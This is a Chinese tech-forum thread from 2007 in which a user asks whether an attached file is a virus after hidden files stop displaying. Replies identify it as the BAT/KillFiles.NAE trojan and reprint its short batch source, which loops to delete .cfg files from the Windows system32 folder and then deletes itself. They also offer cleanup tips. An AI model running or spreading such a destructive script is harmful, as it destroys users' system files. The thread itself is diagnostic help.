大家帮忙看看 这个病毒是不是

王永波

1。是不是病毒 或残留物
2。删除了 我什么东西
现在文件夹的  察看隐藏  点ok后   还是不显示隐藏文件   又回到了隐藏选项
谢谢大家

[ 本帖最后由 王永波 于 2007-12-5 12:25 编辑 ]

scottxzt

运行后自我删除

残缺的唯美

G:\Users\Administrator\Desktop\DFD1351403.rar » RAR » DFD1351403.bat - BAT/KillFiles.NAE trojan - was a part of the deleted object
G:\Users\Administrator\Desktop\DFD1351403.rar » RAR » DFD1352174.bat - BAT/KillFiles.NAE trojan - was a part of the deleted object
G:\Users\Administrator\Desktop\DFD1351403.rar - BAT/KillFiles.NAE trojan - deleted - quarantined

果然

googlehack

@echo off
:Loop
attrib "C:\WINDOWS\system32\*.cfg" -r -a -s -h
del "C:\WINDOWS\system32\*.cfg"
if exist "C:\WINDOWS\system32\*.cfg" goto Loop
del %0


attrib 是改文件属性，del是删除.cfg的文件。然后，如果存在的话，循环执行。

我理解是这样的。


另外说一下，附件中的两个bat重复了！

王永波

是中了两次毒的原因  
现在 文件加  察看  显示隐藏  点ok   再打开  还是隐藏的
中毒后的机子

googlehack

可能还是有什么进程没关掉，我感觉机器里还有病毒。肯定不是这一个。

王永波

怎么办啊 楼上的

googlehack

杀毒软件还能运行吗？升级了？

如果病毒进程都关不掉的话，就不好办了。好象用ntsd命令，或用工具icesword之类的。
但首先要找到病毒进程。

王永波

卡巴正在查毒 升级到最新了

googlehack

顺便说一下，如果cmd命令没被感染的话（因为病毒有时候会劫持cmd.exe），用cmd的方式，输入dir/a，也许能找到隐藏文件。然后输入attrib -s -h，把文件的系统隐藏属性去掉。如果病毒太厉害的话……我也没办法了！

等你找到病毒后发个样本上来。